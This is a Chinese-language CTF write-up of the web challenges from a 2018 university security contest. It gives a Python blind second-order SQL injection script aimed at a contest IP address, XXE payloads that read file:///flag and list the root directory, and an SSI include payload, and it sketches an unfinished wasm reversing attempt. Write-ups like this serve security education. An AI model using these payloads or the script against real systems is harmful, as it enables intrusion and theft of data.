2018 高校網絡信息安全 管理運維挑戰賽Web_Writeup

前言

emmmm,很久沒有好好的打比賽了,基本都是滑水,認真打的時候又被一些腦洞卡一天,難受,這次的題比較簡單,所以Writeup也就簡單些寫了,可惜不會逆向,不然應該有那么點可能AK吧。

SimpleBBS

一個普通的BBS,進去隨手在登入框輸了個‘ ' ’就報錯了,直接把SQL語句都爆出來了


登錄框POST注入.png

甩sqlmap爆破,爆破的時候把level設置高一些,很多問我怎么他們沒爆出來,應該就是因為level的原因吧。flag放在bbs庫flag表flag字段里。
sqlmap得到flag.png

SimpleBlog

這道題目很明顯是二次注入,由于很討厭寫注入的題,所以也是很后面才寫,主要邏輯在于注冊用戶時我們插入SQL查詢語句,登入后也在主頁面提示分數為0什么的信息,所以在Final Exam頁面測試,如果返回值顯示的分數為非0,那么則表示注入的查詢語句查詢正確,若返回顯示的分數為0,則說明查詢失敗,所以典型的盲注了,構造payload:' or if((ascii(substr((select flag from flag),1,1))=1),1,0)='1' or ' 作為注冊用戶名,這里坑了一下,剛開始用的是 and,在insert的時候 and 和 && 不會當作邏輯運算符執行,所以用 or 或者 || ,寫個盲注腳本就好了。

import string
import requests

result = ""
url = 'http://210.32.4.20/register.php'
url_2 = 'http://210.32.4.20/login.php'
url_3 = 'http://210.32.4.20/answer.php'
for i in range(1,50):
    for j in range(32,126):
        ss=requests.session()
        payload = "\' or if((ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(j) + "),1,0)='1' or \'"
        post_an = {'1.a':'on'}
        post_data = {'username':payload,'password':'123'}
        r = ss.post(url=url,data=post_data)
        login = ss.post(url=url_2,data=post_data)
        an = ss.post(url=url_3,data=post_an)
        if 'Your grades is 0' not in an.content:
            e = chr(j)
            result = result + e
            print result
            break
flag.png

SimpleExtensionExplorerInjection

題目寫得很清楚這題是XXE的點,所以先抓一個http request包

Http header.png

application/json應該都很熟悉了,把json改成xml進行XXE注入,參考文章:https://landgrey.me/XMLBeam-XXE-Simple-Analysis/,發現構造:

<root>
<name>Cyc1e</name>
<age>11</age>
</root>

時有一樣的回顯,那么就是CVE-2018-1259的洞了,構造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
XXE_flag.png

SimplePrintEventLogger

這道題算非預期了,出題人木有把兩個題目分開,所以導致撿漏了,看題目描述是同一個組件造成的RCE,那解法應該是參考:https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/(沒有去復現嘗試)。
由于和上一題共用同一個環境,flag都放在根目錄下,那也就是文件名的問題,但是XXE是可以列目錄的,構造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >]>
<root>
<name>&xxe;</name>
</root>
xxe.png

可以直接列出更目錄,很清楚的,RCE這題的flag就擺在這了,撿漏撿漏。


RCE_flag.png

SimpleServerInjection

題目提示為SSI,剛開始看成了SSTI,一直在怒懟PHP的模版注入,坑了我好一段時間......既然是SSI,那就可以利用include來嘗試包含本地文件
SSI.png

我們利用include virtual,構造payload:

name=<!--%23include virtual="flag" -->

就可以得到flag,這里主要在于#號需要urlencode一下。
SSI.png

SimpleWasmReverse

這題最后卡wasm逆向上了,蠻寫寫思路

查看源碼.png
把flag.js下載到本地分析,可以看到調用了一個flag.wasm文件
flag.js.png
可以下載到flag.wasm進行分析,找到了一篇類似題目的writeup:https://tipi-hack.github.io/2018/04/01/quals-NDH-18-assemblyme.html,參照題目進行js調試判斷調用函數,在check()函數上下斷點跟進,可以看到調用了wasm中的$func53函數
調用函數

所以接下來要做的主要就是反編譯wasm文件,找到$func53函數進行分析,奈何wasm反編譯后是3M的C源碼。。。。。。而且變量名都變了,作為一個逆向只好爆破什么的來說,到這就放棄了,思路肯定是沒毛病的了,分析調用的函數就可以的到flag{xxxxxx},頁面提交就可以得到flag的吧,坐等Writeup

題目相對比較簡單,差一題ak比較可惜,不過也不會逆向,木有辦法,僅供學習。
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容